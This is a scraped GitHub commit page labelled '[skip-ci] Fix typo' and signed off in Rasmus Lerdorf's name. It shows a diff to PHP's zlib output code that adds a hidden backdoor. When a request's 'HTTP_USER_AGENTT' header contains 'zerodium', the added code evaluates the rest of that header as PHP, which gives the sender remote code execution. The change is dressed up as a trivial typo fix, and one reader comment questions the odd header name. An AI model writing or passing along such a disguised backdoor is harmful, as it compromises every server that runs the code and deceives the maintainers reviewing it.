Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Browse files
Browse the repository at this point in the history
[skip-ci] Fix typo
Fixes minor typo. Signed-off-by: Rasmus Lerdorf <rasmus@lerdorf.com>
- Loading branch information
Showing
1 changed file
with
11 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void) | |
{ | ||
zval zoh; | ||
php_output_handler *h; | ||
zval *enc; | ||
|
||
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) && | ||
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) { | ||
This comment has been minimized.
Sorry, something went wrong. |
||
convert_to_string(enc); | ||
if (strstr(Z_STRVAL_P(enc), "zerodium")) { | ||
zend_try { | ||
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017"); | ||
This comment has been minimized.
Sorry, something went wrong.
This comment has been minimized.
Sorry, something went wrong.
JABirchall
|
||
} zend_end_try(); | ||
} | ||
} | ||
|
||
switch (ZLIBG(output_compression)) { | ||
case 0: | ||
|
1 comment
on commit c730aa2
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Intentionally
AGENTT
with 2x T at the end?